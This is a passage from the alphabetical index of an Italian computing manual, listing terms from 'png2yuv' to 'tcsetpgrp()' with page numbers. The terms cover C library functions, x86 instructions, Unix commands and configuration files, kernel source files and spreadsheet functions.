png2yuv 2057 *point-to-point* 2116 2158 2166 POM 1355 POP 4221 4295 5609 pop() 1528 POPA 4221 4303 4308 5609 POPAD 4221 Popclient 2487 popen() 4855 POPF 4221 5609 port 5857 6935 porta 2152 porta parallela 308 portmap 2318 *port address translation* 2184 2642 POSIX 31 posta elettronica 2461 2485 PostgreSQL 5215 5257 postgresql.conf 5222 postmaster 5219 postmaster.conf 5222 PostScript 1567 1579 1584 1660 3203 POTENZA() 8286 POWER() 8286 PPD 1649 1666 pr 1277 precedenza operatori 4449 5491 prestito 4196 5448 PRId16 4772 4891 PRId32 4772 4891 PRId64 4772 4891 PRId8 4772 4891 PRIdFAST16 4772 4891 PRIdFAST32 4772 4891 PRIdFAST64 4772 4891 PRIdFAST8 4772 4891 PRIdLEAST16 4772 4891 PRIdLEAST32 4772 4891 PRIdLEAST64 4772 4891 PRIdLEAST8 4772 4891 PRIdMAX 4772 4891 PRIdPTR 4772 4891 PRIi16 4772 4891 PRIi32 4772 4891 PRIi64 4772 4891 PRIi8 4772 4891 PRIiFAST16 4772 4891 PRIiFAST32 4772 4891 PRIiFAST64 4772 4891 PRIiFAST8 4772 4891 PRIiLEAST16 4772 4891 PRIiLEAST32 4772 4891 PRIiLEAST64 4772 4891 PRIiLEAST8 4772 4891 PRIiMAX 4772 4891 PRIiPTR 4772 4891 prima di copertina 3115 Primes 1354 primo piano 492 print() 1517 printcap 1636 printf 942 printf() 1517 4439 4541 4603 4844 4911 5480 5818 6897 printf.c 6289 7591 print_fd.c 5998 print_fd_head.c 5998 print_fd_list.c 5999 print_file_head.c 5999 print_file_list.c 6000 print_file_num.c 6000 print_hex_16.c 6001 print_hex_16_reverse.c 6001 print_hex_32.c 6001 print_hex_32_reverse.c 6002 print_hex_8.c 6002 print_hex_8_reverse.c 6003 print_inode.c 6003 print_inode_head.c 6004 print_inode_list.c 6005 print_inode_map.c 6005 print_inode_zones.c 6006 print_inode_zones_head.c 6007 print_inode_zone_list.c 6006 print_kmem.c 6007 print_mb_map.c 6008 print_memory_map.c 6008 print_proc_head.c 6009 print_proc_list.c 6010 print_proc_pid.c 6010 print_segments.c 6011 print_superblock.c 6011 print_time.c 6012 print_zone_map.c 6012 print-filter 3018 PRIo16 4772 4891 PRIo32 4772 4891 PRIo64 4772 4891 PRIo8 4772 4891 PRIoFAST16 4772 4891 PRIoFAST32 4772 4891 PRIoFAST64 4772 4891 PRIoFAST8 4772 4891 PRIoLEAST16 4772 4891 PRIoLEAST32 4772 4891 PRIoLEAST64 4772 4891 PRIoLEAST8 4772 4891 PRIoMAX 4772 4891 PRIoPTR 4772 4891 priorità 526 priorità di un processo elaborativo 461 PRIu16 4772 4891 PRIu32 4772 4891 PRIu64 4772 4891 PRIu8 4772 4891 PRIuFAST16 4772 4891 PRIuFAST32 4772 4891 PRIuFAST64 4772 4891 PRIuFAST8 4772 4891 PRIuLEAST16 4772 4891 PRIuLEAST32 4772 4891 PRIuLEAST64 4772 4891 PRIuLEAST8 4772 4891 PRIuMAX 4772 4891 PRIuPTR 4772

4891 privilegio di un processo elaborativo 462 PRIX16 4772 4891 PRIx16 4772 4891 PRIx32 4772 4891 PRIX32 4772 4891 PRIX64 4772 4891 PRIx64 4772 4891 PRIX8 4772 4891 PRIx8 4772 4891 PRIXFAST16 4772 4891 PRIxFAST16 4772 4891 PRIxFAST32 4772 4891 PRIXFAST32 4772 4891 PRIXFAST64 4772 4891 PRIxFAST64 4772 4891 PRIXFAST8 4772 4891 PRIxFAST8 4772 4891 PRIXLEAST16 4772 4891 PRIxLEAST16 4772 4891 PRIxLEAST32 4772 4891 PRIXLEAST32 4772 4891 PRIXLEAST64 4772 4891 PRIxLEAST64 4772 4891 PRIXLEAST8 4772 4891 PRIxLEAST8 4772 4891 PRIxMAX 4772 4891 PRIXMAX 4772 4891 PRIXPTR 4772 4891 PRIxPTR 4772 4891 proc.h 5678 5938 6169 6702 6999 7384 procedura di accesso 92 755 procedura di inizializzazione 463 procedura di inizializzazione del sistema 95 PROCEDURE DIVISION 5018 5027 5075 processo 458 processo di elaborazione 72 134 456 processo elaborativo in memoria 4365 processo in primo piano 492 processo sullo sfondo 492 process_info() 5821 process_info.c 6403 Procinfo 545 procinfo 545 Procmail 2519 proc_available() 5942 6999 proc_available.c 6177 7393 proc_dump_memory() 5942 7000 proc_dump_memory.c 6177 7394 proc_find() 5943 proc_find.c 6179 proc_init() 5690 5944 6714 7001 proc_init.c 6180 7395 proc_offset_data_to_pointer() 7002 proc_offset_data_to_pointer.c 7399 proc_print() 7002 proc_print.c 7399 proc_public.c 7401 proc_reference() 5689 5945 7003 proc_reference.c 6182 7402 proc_scheduler() 5692 5947 6715 7006 proc_scheduler.c 6187 7411 proc_sch_signals() 5946 7004 proc_sch_signals.c 6183 7402 proc_sch_terminals() 5946 7005 proc_sch_terminals.c 6183 7403 proc_sch_timers() 5947 7005 proc_sch_timers.c 6186 7410 proc_sig_chld() 5949 7007 proc_sig_chld.c 6189 7415 proc_sig_cont() 5950 7008 proc_sig_cont.c 6190 7416 proc_sig_core() 5951 7009 proc_sig_core.c 6191 7416 proc_sig_handler() 6717 7010 proc_sig_handler.c 7418 proc_sig_ignore() 5952 7010 proc_sig_ignore.c 6192 7422 proc_sig_off() 5952 7012 proc_sig_off.c 6192 7423 proc_sig_on() 5952 7012 proc_sig_on.c 6192 7423 proc_sig_status() 5953 7013 proc_sig_status.c 6193 7423 proc_sig_stop() 5954 7013 proc_sig_stop.c 6193 7424 proc_sig_term() 5955 7014 proc_sig_term.c 6194 7424 proc_sys_exec() 5955 7015 proc_sys_exec.c 6194 7425 proc_sys_exit() 5957 proc_sys_exit.c 6206 proc_sys_fork() 5959 proc_sys_fork.c 6208 proc_sys_kill() 5960 proc_sys_kill.c 6213 proc_sys_seteuid() 5962 proc_sys_seteuid.c 6216 proc_sys_setuid() 5963 proc_sys_setuid.c 6216 proc_sys_signal() 5964 proc_sys_signal.c 6217 proc_sys_wait() 5966 proc_sys_wait.c 6218 proc_t 5686 6685 6709 proc_table.c 6219 proc_timer_init() 7017 proc_timer_init.c 7440 proc_wakeup_pipe_read() 7018 proc_wakeup_pipe_read.c 7441 proc_wakeup_pipe_write() 7018 proc_wakeup_pipe_write.c 7441 proc_wakeup_terminal() 7018 proc_wakeup_terminal.c 7442 PRODOTTO() 8286 PRODUCT() 8286 profile 848 programma 86 *programmable interrupt controller* 6602 *programmable interval timer* 6607 programma autonomo 4383 programma cliente 94 programma di servizio 70 97 1855 programma di utilità 70 97 programma servente 95 programma *stand alone* 4383 *program counter* 5595 5595 *program status word* 5595 5595 *promotion* 4537 promozione 4537 *prompt* 845 871 protezione 849 8250 protocollo 94 2152 protocollo di rete 2152 protocollo di trasporto 2152 protocols 2152 2207 prototipo di funzione 4462 5514 *proxy* 94 2628 proxy HTTP 2969 *proxy* trasparente 2681 ps 134 472 475 5721 6785 ps.c 6544 7934 PS/2

6609 ps2ps 1581 Psad 2768 psad.conf 2768 psadfifo 2768 psbook 1591 pseudocodifica 4116 psnup 1591 psql 5227 psresize 1589 psselect 1589 pstoedit 1886 pstops 1592 pstree 472 477 PSUtils 1588 PSW 5595 pthread_t 4656 4861 PTRDIFF_MAX 4732 4889 PTRDIFF_MIN 4732 4889 ptrdiff_t 4559 4732 4779 4889 ptrdiff_t.h 6243 7460 puntatore 4500 4514 5541 5559 puntatore a funzione 4528 puntatore a puntatori 4524 4525 5564 5567 puntatore del mouse 8110 puntatore nullo 4530 punto-punto 2116 2158 2166 punto di codifica 3141 3145 PUSH 4221 4295 5609 push() 1528 PUSHA 4221 4303 4308 5609 PUSHF 4221 5609 putc() 4850 5793 6870 putchar() 4850 4905 5793 6870 putchar.c 7591 putchar_unlocked() 4854 putc_unlocked() 4854 putenv() 5822 6901 putenv.c 6355 7663 puts() 4593 4851 4905 5794 6871 puts.c 6289 7592 Putty 1875 pwck 803 pwconv 793 pwd 881 1158 pwd.h 6268 7541 pwent.c 6268 7548 pwunconv 794 PXE 2969 2972 PXELINUX 203 P_tmpdir 4833 q// 1491 QEMU 2096 qemu 5978 7042 qq// 1492 qsort() 4763 4897 5823 6902 qsort.c 6357 7664 qualità della merce 8153 8171 quarta di copertina 3115 Queso 2741 queso.conf 2741 Quicksort 4132 4626 quota 1088 quota 1078 quotacheck 1081 quotaoff 1083 quotaon 1083 quotation 3422 quote 3422 QUOTIENT() 8286 *quoting* 849 QUOZIENTE() 8286 qw// 1493 QWERTY 573 Qwertz 3683 QWERTZ 573 qx// 1492 QZERTY 573 Raccess 2743 RADIANS() 8286 RADIANTI() 8286 RADQ() 8286 Radvd 2212 radvd.conf 2212 raggruppamento 3271 raggruppa e struttura 8267 RAID-1 1109 Rain 1356 raise() 4820 RAM 326 425 ram_copy() 5650 RAND() 8286 rand() 4759 4897 5824 6903 rand.c 6359 7667 RANDBETWEEN() 8286 random_seed 2830 RAND_MAX 4755 rango 4440 5481 5481 *rank* 4440 5481 5481 rc.local 2962 RCL 4220 4271 5608 RCR 4220 4271 5608 RDATE 2970 Rdate 2384 RDBMS 5167 RE 1382 READ 5054 read 881 948 read() 1517 4676 4872 5749 6818 read.c 6448 7819 readdir() 4712 4880 5825 6904 readdir.c 6252 7486 Readline 903 readlink() 1512 4872 README 159 readonly 881 Read-edid 1748 realloc() 4531 4762 4897 5810 6889 realloc.c 7684 *real user id* 754 Recode 3171 *record* 93 1289 RECORD CONTAINS 4980 Recover 1242 recupero file cancellati 1238 REDEFINES 4981 4987 regcomp() 4636 4637 4918 regerror() 4636 4643 4918 regex.h 4636 4918 regexec() 4636 4639 4641 4918 regexp 4635 *regexp* 98 1381 1390 regex_t 4636 4637 4918 regfree() 4636 4639 4918 register 928 4488 registrazione 95 registro 4181 4216 5595 registro del sistema 745 regmatch_t 4636 4639 4641 4918 4918 regoff_t 4918 *regular expression* 98 *regular file* 74 94 relazione 5167 RELEASE 5081 remove() 4703 4835 4905 rename() 1512 4835 4905 RENAMES 5004 rendimento effettivo di un titolo 8190 renice 526 reopen() 4595 REP 5602 REPE 5604 REPNE 5604 REPNZ 5604 repquota 1087 REPZ 5604 require() 1529 resb 4242 resd 4242 reset 634 resolv.conf 2233 2361 RESTO() 8286 restrict 4533 restrict.h 6243 7460 resw 4242 RET 4221 4293 4308 5609 rete 2115 rete geografica 2115 rete locale 2115 rete metropolitana 2115 rete privata 2133 RETF 5609 return 881 4462 5516 RETURN 5080 RET FAR 5609 rev 1275 reverse_16_bit.c 6013 reverse_32_bit.c 6013 reverse_8_bit.c 6014 REVOKE 5210 rewind() 4853 4905 5826 6905 rewind.c 6290 7592 rewinddir() 4712 4880 5826 6905 rewinddir.c 6253 7488 REWRITE 5058 re_sub 4918 Rhythmbox 2040 ricerca 151 8221 ricerca binaria 4126 ricerca obiettivo 8258 ridirezione 82 132 862 ridondanza 1109 riferimento 3439 riferimento assoluto 8155 riferimento relativo 8155 RIFF WAV 1965 1967 1987 1987 riga di intestazione 8124 riordino 4137 4139 8240 ripartizione 8211 8211 8212 ripetitore 2122 2146 2148 riporto 4194 4196 4203 4203 4204 4206 4251 5446 5448 5454 5454 risorsa 1852 risparmio energetico 302 rlogin 2374 rlogind 2374 Rlpr 1650 rm 90 120 1202 5722 6786 rm.c 6546 7939 rmdir 121 1157 rmdir() 1516 4702 4872 5750 6819 rmdir.c 6450 7820 rmlist 2533 rmmod 330 rmtab 2322 rm_se 4918 rm_so

4918 rndc 2249 robot 3856 robots.txt 3858 Rock Ridge 1090 ROL 4220 4269 5608 ROLLBACK 5211 *root* 70 ROR 4220 4269 5608 rotazione 4206 5456 8135 ROUND() 8286 ROUNDDOWN() 8286 ROUNDUP() 8286 Route 2163 2168 *router* 2122 2174 2178 *router* ADSL 2683 RPC 2318 2700 rpc 2318 rpc.lockd 2322 rpc.mountd 2322 rpc.nfsd 2322 rpc.rquotad 2322 rpc.rusers 2369 rpc.rwalld 2428 rpc.statd 2322 rpc.yppasswdd 2334 2343 rpc.ypxfrd 2334 2344 rpcinfo 2319 RPL 6571 rsh 2375 Rsync 2403 rsyncd.conf 2411 rsyncd.secrets 2418 run.c 6160 7352 rundig 2597 *run level* 96 rusers 2369 *rvalue* 4497 rwall 2428 rwalld 2428 rwho 2368 rwhod 2368 R_OK 4872 s// 1494 sa 816 safe_finger 2733 SAHF 5600 SAL 4220 4267 5608 Samba 832 3025 3025 sampling 1948 sampling rate 1948 SANE 1901 2972 saned.conf 1903 SAR 4220 4267 5608 SATA 375 *saved user id* 754 savelog 751 sa-learn 2530 sa-update 2524 SBB 4218 4257 5607 sbrk() 6791 sbrk.c 7821 sb_inode_status() 5666 5923 6744 6980 sb_inode_status.c 6106 7193 sb_mount() 5666 5924 6744 6982 sb_mount.c 6107 7194 sb_print() 6744 6983 sb_print.c 7197 sb_public.c 7198 sb_reference() 5666 5925 6744 6984 sb_reference.c 6110 7198 sb_save() 5666 5926 6744 6985 sb_save.c 6111 7199 sb_t 5639 5665 6685 6743 sb_table.c 6113 sb_zone_status() 5666 5923 6744 6980 sb_zone_status.c 6113 7201 scalar() 1528 scalare 1455 scanf() 4607 4849 4914 5827 6906 scanf.c 6290 7592 scanimage 1911 scanner 1901 scarico della memoria 457 SCASB 5604 SCASW 5604 scatola nera 4102 SCHAR_MAX 4723 4888 SCHAR_MIN 4723 4888 schermo 1864 SCIM 1793 SCNd16 4772 4891 SCNd32 4772 4891 SCNd64 4772 4891 SCNd8 4772 4891 SCNdFAST16 4772 4891 SCNdFAST32 4772 4891 SCNdFAST64 4772 4891 SCNdFAST8 4772 4891 SCNdLEAST16 4772 4891 SCNdLEAST32 4772 4891 SCNdLEAST64 4772 4891 SCNdLEAST8 4772 4891 SCNdMAX 4772 4891 SCNdPTR 4772 4891 SCNi16 4772 4891 SCNi32 4772 4891 SCNi64 4772 4891 SCNi8 4772 4891 SCNiFAST16 4772 4891 SCNiFAST32 4772 4891 SCNiFAST64 4772 4891 SCNiFAST8 4772 4891 SCNiLEAST16 4772 4891 SCNiLEAST32 4772 4891 SCNiLEAST64 4772 4891 SCNiLEAST8 4772 4891 SCNiMAX 4772 4891 SCNiPTR 4772 4891 SCNo16 4772 4891 SCNo32 4772 4891 SCNo64 4772 4891 SCNo8 4772 4891 SCNoFAST16 4772 4891 SCNoFAST32 4772 4891 SCNoFAST64 4772 4891 SCNoFAST8 4772 4891 SCNoLEAST16 4772 4891 SCNoLEAST32 4772 4891 SCNoLEAST64 4772 4891 SCNoLEAST8 4772 4891 SCNoMAX 4772 4891 SCNoPTR 4772 4891 SCNu16 4772 4891 SCNu32 4772 4891 SCNu64 4772 4891 SCNu8 4772 4891 SCNuFAST16 4772 4891 SCNuFAST32 4772 4891 SCNuFAST64 4772 4891 SCNuFAST8 4772 4891 SCNuLEAST16 4772 4891 SCNuLEAST32 4772 4891 SCNuLEAST64 4772 4891 SCNuLEAST8 4772 4891 SCNuMAX 4772 4891 SCNuPTR 4772 4891 SCNx16 4772 4891 SCNx32 4772 4891 SCNx64 4772 4891 SCNx8 4772 4891 SCNxFAST16 4772 4891 SCNxFAST32 4772 4891 SCNxFAST64 4772 4891 SCNxFAST8 4772 4891 SCNxLEAST16 4772 4891 SCNxLEAST32 4772 4891 SCNxLEAST64 4772 4891 SCNxLEAST8 4772 4891 SCNxMAX 4772 4891 SCNxPTR 4772 4891 scorrimento 4203 4203 5454 5454 scorrimento automatico del testo 8136 scp 2843 Screen 654 screen.h 7020 7106 SCREENDIR 654 screenrc 659 screen_cell() 6739 screen_clear() 6739 screen_clear.c 7107 screen_current() 6739 screen_current.c 7108 screen_init() 6739 screen_init.c 7108 screen_newline() 6739 screen_new_line.c 7109 screen_number() 6739 screen_number.c 7110 screen_pointer() 6739 screen_pointer.c 7111 screen_public.c 7111 screen_putc() 6739 screen_putc.c 7111 screen_scroll() 6739 screen_scroll.c 7113 screen_select() 6739 screen_select.c 7114 screen_t 6685 screen_update() 6739 screen_update.c 7114 script 652 *script* 96 846 873

scrivania 1815 SCSI 311 SD 4978 sdd 1201 SE() 8183 SEARCH 5060 SECOND() 8283 seconda di copertina 3115 SECONDO() 8283 Second-extended 93 181 section 3387 securetty 759 Secure-delete 1251 Secure Shell 1744 2809 2830 SED 1401 seek() 1517 SEEK.h 6237 7457 SEEK_CUR 4833 4905 SEEK_END 4833 4905 SEEK_SET 4833 4905 *segmentation fault* 4365 *segmento* 5594 segment_t 5639 5656 segnale 458 488 segno 4193 5444 SEGNO() 8286 seg_d() 5649 5832 seg_i() 5649 5832 select 948 SELECT 4963 4965 4968 5196 select() 1517 *selector* 6573 selettore 6573 selezione 8111 semiaddizionatore 4104 SEN() 8289 Sendmail 2466 2704 SENH() 8289 separazione di un *file system* 93 1059 seq 1318 sequenza multibyte 4766 Serpento 3193 servente 95 servente di chiavi 2785 *server* 95 services 1903 2152 servizio 2152 servizio di rete 2311 sessione 1089 1815 SET 5066 set 881 892 914 SETA 4224 SETAE 4224 SETB 4224 SETBE 4224 setbuf() 4839 4905 5832 6911 setbuf.c 6290 7593 SETC 4224 setcd 1146 SETE 4224 setegid() 4872 6820 setegid.c 7822 setenv() 5833 6911 setenv.c 6360 7668 seteuid() 4872 5751 6826 seteuid.c 6451 7822 setfont 642 SETG 4224 SETGE 4224 setgid() 4872 6820 setgid.c 7823 setgrent() 6876 setjmp() 6720 6822 setjmp.h 7550 setjmp.s 7558 SETL 4224 SETLE 4224 setleds 594 setlocale() 4918 SETNA 4224 SETNAE 4224 SETNB 4224 SETNBE 4224 SETNC 4224 SETNE 4224 SETNG 4224 SETNGE 4224 SETNL 4224 SETNLE 4224 SETNO 4224 SETNS 4224 SETNZ 4224 SETO 4224 setpgid() 4872 setpgrp() 5751 6825 setpgrp.c 6451 7823 setpwent() 5803 6883 setquota 1085 SETS 4224 setsid() 4872 setterm 635 SETTIMANE() 8283 SETTIMANE.ANNO() 8283 settore 1022 setuid() 4872 5751 6826 setuid.c 6452 7823 setvbuf() 4839 4905 5832 6911 setvbuf.c 6291 7593 setxkbmap 1770 SETZ 4224 *set group id* 1172 *set user id* 1172 sezione marcata 3505 sfdisk 1035 sfill 1251 sfondo 492 8114 sftp 2843 SGID 1172 SGML 3135 3493 Sgmls 3528 sgmlsasp 3528 sgmlspl 3530 SGMLSpm 3524 SGMLtools 3683 sha1sum 1297 shadow 758 781 *shadow password* 781 *shared object* 4353 *shell* 68 96 127 492 844 shell 5722 6787 shell.c 6547 7940 shells 771 829 *shell* POSIX 848 *shell regexp* 847 *shell regular expression* 847 *shell* standard 848 shift 881 1446 *shift* 4203 4203 4264 5454 5454 SHL 4220 4264 4289 5608 short 4441 5482 shosts.equiv 2835 shout 2038 showkey 596 showmount 2327 SHR 4220 4264 4289 5608 shred 1208 SHRT_MAX 4723 4888 SHRT_MIN 4723 4888 SI 4216 5595 SI 98 1155 3125 sicurezza 2696 SIGABRT 4816 4817 SIGALRM 4817 SIGBUS 4817 SIGCHLD 4817 SIGCONT 4817 SIGFPE 4816 4817 SIGHUP 4817 SIGILL 4816 4817 SIGINT 4816 4817 SIGKILL 4817 *sign* 4201 5595 SIGN() 8286 signal() 4820 5752 6827 signal.c 6272 7568 signal.h 4814 6270 7559 signed 4441 5482 significante 4190 SIGN IS 4991 SIGPIPE 4817 SIGPOLL 4817 SIGPROF 4817 SIGQUIT 4817 SIGSEGV 4816 4817 SIGSTOP 4817 SIGSYS 4817 SIGTERM 4816 4817 SIGTRAP 4817 SIGTTIN 4817 SIGTTOU 4817 SIGURG 4817 SIGUSR1 4817 SIGUSR2 4817 SIGVTALRM 4817 SIGXCPU 4817 SIGXFSZ 4817 SIG_ATOMIC_MAX 4732 4889 SIG_ATOMIC_MIN 4732 4889 sig_atomic_t 4732 4816 4889 SIG_DFL 4819 SIG_ERR 4819 SIG_IGN 4819 SIMH 7 *simple network management protocol* 2391 2700 SIN() 8289 sin() 1527 sinclude 1448 SINH() 8289 sistema binario 37 5419 sistema decimale 36 5418 sistema esadecimale 40 5421 Sistema internazionale di unità 98 1155 3125 sistema operativo 60 67 sistema ottale 38 5420 sizeof 4505 SIZE_MAX 4732 4889 size_t 4558 4732 4779 4861 4889 size_t.h 6243 7461 sleep 964 sleep() 1525 4872 5754 6828 sleep.c 6452 7824 smb.conf 833 3025 SMB/CIFS 832 smbpasswd 835 SMTP 2461 Sniffit 2759 SNMP 2391 2700 snmpbulkwalk 2393 snmpd 2397 snmpd.conf 2397 snmpdf 2395 snmpget 2393 snmpgetnext 2393 snmpnetstat 2395 snmpstatus 2395 snmpwalk 2393 snprintf() 4844 4911 5818 6897 snprintf.c 6291 7593 SOA 2262 *socket* 2273 2275 *socket* di dominio Internet 2273 2275 *socket* di dominio Unix 97 2273 2275

socklist 548 *software* 19 software libero 20 SOMMA() 8152 8286 SOMMA.Q() 8286 SOMMA.SE() 8286 somma binaria 54 5438 somma condizionata 8173 8173 sorgente 224 SORT 4969 5075 sort 1286 sostituzione 128 853 sottorete 2129 sottrazione binaria 55 5439 sound-recorder 1987 sources.list 244 252 266 SOURCE-COMPUTER 4958 Sox 1990 SP 4216 5595 SP 3524 3525 sp() 5649 5773 SpamAssassin 2524 spazio 1271 SPECIAL-NAMES 4959 specificatore di conversione 4439 5480 specifiche *multiboot* 4383 6687 speed_t 4881 spegnimento 106 *splashimage* 218 splice() 1528 split 1282 spostamento 124 1201 8150 sprintf() 1517 4844 4911 5818 6897 sprintf.c 6291 7594 SQL 5180 5241 5266 SQLite 5303 SQRT() 8286 sqrt() 1527 Squashfs 1106 srand() 4759 4897 5824 6903 ss() 5649 5773 sscanf() 4849 4914 5827 6906 sscanf.c 6292 7594 SSH 2809 2830 ssh 2843 sshd 2839 sshd_config 2839 SSHfs 1121 ssh_config 2843 ssh_host_dsa_key 2830 ssh_host_dsa_key.pub 2830 ssh_host_key 2830 ssh_host_key.pub 2830 ssh_host_rsa_key 2830 ssh_host_rsa_key.pub 2830 ssh_known_hosts 2833 ssh-keygen 2830 SSID 2286 SSIZE_MAX 4725 ssize_t 4861 SSL 2807 2811 2826 2827 2829 SSLwrap 2827 *stack* 4166 5459 stack.s 6689 7353 *stack frame* 4303 stampa 1567 1629 1683 1694 8123 stampa in serie 4059 stampa unione 4059 *standard error* 83 96 *standard input* 82 96 *standard output* 82 96 *stand alone* 4383 START 5067 startx 1729 1731 stat 1072 stat() 1512 4865 4920 5755 6829 stat.c 6412 7746 stat.h 4672 4863 4920 6406 7734 *stateless* 2198 static 4486 4488 status 928 stazione grafica 1718 STC 5613 5613 stdarg.h 4537 4752 4887 6244 7461 stdbool.h 4779 6244 7461 stddef.h 4779 4917 6244 7462 stderr 4594 4835 STDERR_FILENO 4872 stdint.h 4726 4889 6245 7462 STDIN_FILENO 4872 stdio 4594 4835 stdio.h 4582 4832 4905 4911 4914 5835 6273 6913 7568 stdlib.h 4531 4754 4897 6340 7645 stdout 4594 4835 STDOUT_FILENO 4872 steganografia 2855 stegbreak 2859 Stegdetect 2859 Steghide 2861 STI 5612 6576 sti() 5650 6697 sti.s 7247 stile 8254 stime() 5759 6836 stime.c 6425 7787 STOP RUN 5070 *storage duration* 4497 storico dei comandi 845 STOSB 5602 STOSW 5602 Strace 486 strcasecmp() 4866 strcat() 4520 4787 4900 5836 6914 strcat.c 6372 7696 strchr() 4520 4795 4900 5837 6915 strchr.c 6372 7696 strcmp() 4520 4790 4900 5838 6916 strcmp.c 6373 7697 strcoll() 4520 4791 4900 5838 6916 strcoll.c 6374 7697 strcpy() 4520 4783 4900 5839 6917 strcpy.c 6374 7698 strcspn() 4520 4799 4900 5842 6920 strcspn.c 6374 7698 strdup() 4785 5839 6917 strdup.c 6375 7699 *stream* 4582 *streaming* 2052 streaming video 2054 Streamripper 2041 2042 Streamtuner 2041 stream audio 2035 strerror() 4812 4900 5840 6918 strerror.c 6376 7699 strerror_r() 4813 strftime() 4829 4902 STRING 5070 string.h 4520 4780 4900 6368 7686 stringa 4179 4518 5181 5467 5561 8100 stringa estesa 4564 stringhe 1490 strings.h 4866 strlen() 4520 4814 4900 5840 6918 strlen.c 6378 7702 strncasecmp() 4866 strncat() 4520 4788 4900 5836 6914 strncat.c 6378 7702 strncmp() 4520 4792 4900 5838 6916 strncmp.c 6379 7703 strncpy() 4520 4784 4900 5839 6917 strncpy.c 6379 7703 strpbrk() 4520 4800 4900 5842 6920 strpbrk.c 6380 7704 strrchr() 4520 4796 4900 5837 6915 strrchr.c 6380 7704 strspn() 4520 4797 4900 5842 6920 strspn.c 6381 7705 strstr() 4801 4900 5843 6921 strstr.c 6381 7705 strtod() 4756 4897 strtof() 4756 4897 strtoimax() 4778 strtok() 4803 4900 5843 6921 strtok.c 6382 7706 strtok_r() 4807 strtol() 4756 4897 5845 6923 strtol.c 6362 7670 strtold() 4756 4897 strtoll() 4756 4897 strtouimax() 4778 strtoul() 4756 4897 5845 6923 strtoul.c 6366 7674 strtoull() 4756 4897 struct 4544 structure stat 4865 struct dirent 4711 4711 4879 struct termios 4881 struct tm 4561 4825 struttura 4544 8267 struttura di controllo 3287 strxfrm() 4793 4900 5847 6925 strxfrm.c 6384 7709 stty 628 Stunnel 2829 st_atime 4865 4920

st_blksize 4865 4920 st_blocks 4865 4920 st_ctime 4865 4920 st_dev 4865 4920 st_gid 4865 4920 st_ino 4865 4920 st_mode 4865 4920 st_mtime 4865 4920 st_nlink 4865 4920 st_rdev 4865 4920 st_size 4865 4920 st_uid 4865 4920 su 761 SUB 4218 4240 4254 5607 *subnet router anycast address* 2204 subparagraph 3387 subroutine 1481 subsection 3387 subsubsection 3387 SUBTRACT 5072 suddivisione in parole 847 SUID 1172 sum 1295 SUM() 8286 SUMIF() 8286 SUMSQ() 8286 superformat 1143 supervisore di rete 2311 super blocco 4682 SUS 31 *swap* 182 1074 swapoff 1076 swapon 183 1076 switch 4457 5507 switchto 653 *symbolic link* 1187 symlink() 1512 4872 sync 1073 SYNCHRONIZED 4992 sys() 5758 6833 sys.s 6403 7732 sysconf() 4872 Sysctl 462 sysctl.conf 462 sysklogd 2963 SYSLINUX 196 syslog.conf 747 syslogd 746 syslogd-listfiles 751 sysroutine() 5688 5690 5967 6713 6714 7019 sysroutine.c 6219 7443 SysRq 346 system() 1525 4763 system.fvwmrc 1802 system.twmrc 1797 1797 1797 s_brk() 6997 s_brk.c 7269 s_chdir() 6757 6997 s_chdir.c 7275 s_chmod() 6757 6997 s_chmod.c 7276 s_chown() 6757 6759 6997 s_chown.c 7277 s_clock() 6997 s_clock.c 7278 s_close() 6997 s_close.c 7278 s_dup() 6759 6997 s_dup.c 7280 s_dup2() 6759 6997 s_dup2.c 7280 s_fchmod() 6759 6997 s_fchmod.c 7281 s_fchown() 6997 s_fchown.c 7282 s_fcntl() 6759 6997 s_fcntl.c 7283 s_fork() 6997 s_fork.c 7285 s_fstat() 6759 6997 s_fstat.c 7291 S_IFBLK 4863 4920 S_IFCHR 4863 4920 S_IFDIR 4863 4920 S_IFIFO 4863 4920 S_IFLNK 4863 4920 S_IFMT 4863 4920 S_IFREG 4863 4920 S_IFSOCK 4863 4920 S_IRGRP 4672 4863 4920 S_IROTH 4672 4863 4920 S_IRUSR 4672 4863 4920 S_IRWXG 4672 4863 4920 S_IRWXO 4672 4863 4920 S_IRWXU 4672 4863 4920 S_ISBLK() 4863 4920 S_ISCHR() 4863 4920 S_ISDIR() 4863 4920 S_ISFIFO() 4863 4920 S_ISGID 4672 4863 4920 S_ISLNK() 4863 4920 S_ISREG() 4863 4920 S_ISSOCK() 4863 4920 S_ISUID 4672 4863 4920 S_ISVTX 4672 4863 4920 S_IWGRP 4672 4863 4920 S_IWOTH 4672 4863 4920 S_IWUSR 4672 4863 4920 S_IXGRP 4672 4863 4920 S_IXOTH 4672 4863 4920 S_IXUSR 4672 4863 4920 s_kill() 6997 s_kill.c 7292 s_link() 6757 6997 s_link.c 7295 s_longjmp() 6720 6997 s_longjmp.c 7296 s_lseek() 6759 6997 s_lseek.c 7297 s_mkdir() 6757 6997 s_mkdir.c 7299 s_mknod() 6757 6997 s_mknod.c 7301 s_mount() 6757 6997 s_mount.c 7303 s_open() 6757 6997 s_open.c 7304 s_pipe() 6759 6997 s_pipe.c 7310 s_read() 6759 6997 s_read.c 7312 s_sbrk() 6997 s_sbrk.c 7315 s_setegid() 6997 s_setegid.c 7316 s_seteuid() 6997 s_seteuid.c 7317 s_setgid() 6997 s_setgid.c 7317 s_setjmp() 6720 6997 s_setjmp.c 7318 s_setuid() 6997 s_setuid.c 7319 s_signal() 6997 s_signal.c 7320 s_stat() 6757 6997 s_stat.c 7321 s_stime() 6997 s_stime.c 7323 s_tcgetattr() 6997 s_tcgetattr.c 7323 s_tcsetattr() 6997 s_tcsetattr.c 7325 s_time() 6997 s_time.c 7326 s_umount() 6757 6997 s_umount.c 7327 s_unlink() 6757 6997 s_unlink.c 7329 s_wait() 6997 s_wait.c 7333 s_write() 6759 6997 s_write.c 7334 s__exit() 6997 s__exit.c 7266 tabbing 3451 tabella 3334 3451 tabella pivot 8260 table 3387 3425 3425 tabular 3456 tabulatore 577 tac 1272 tail 1282 talk 2425 talkd 2425 TAN() 8289 8289 TANH() 8289 8289 Tar 1211 tastiera 567 587 592 595 601 608 675 1767 1777 6609 tasto morto 590 Tbl 1557 TCD 1956 tcd 1956 tcflag_t 4881 tcgetattr() 4883 6834 tcgetattr.c 7770 tcgetpgrp() 4872 TCP 2624 TCP/IP 95 2126 2311 tcpclient 2279 tcpd 2315 tcpdchk 2731 tcpdmatch 2732 Tcpdump 2750 tcpdump 2750 tcplog 2767 tcpserver 2279 TCP *wrapper* 2315 2725 TCSADRAIN 4883 TCSAFLUSH 4883 TCSANOW 4883 tcsetattr() 4883 6834 tcsetattr.c 7770 tcsetpgrp() 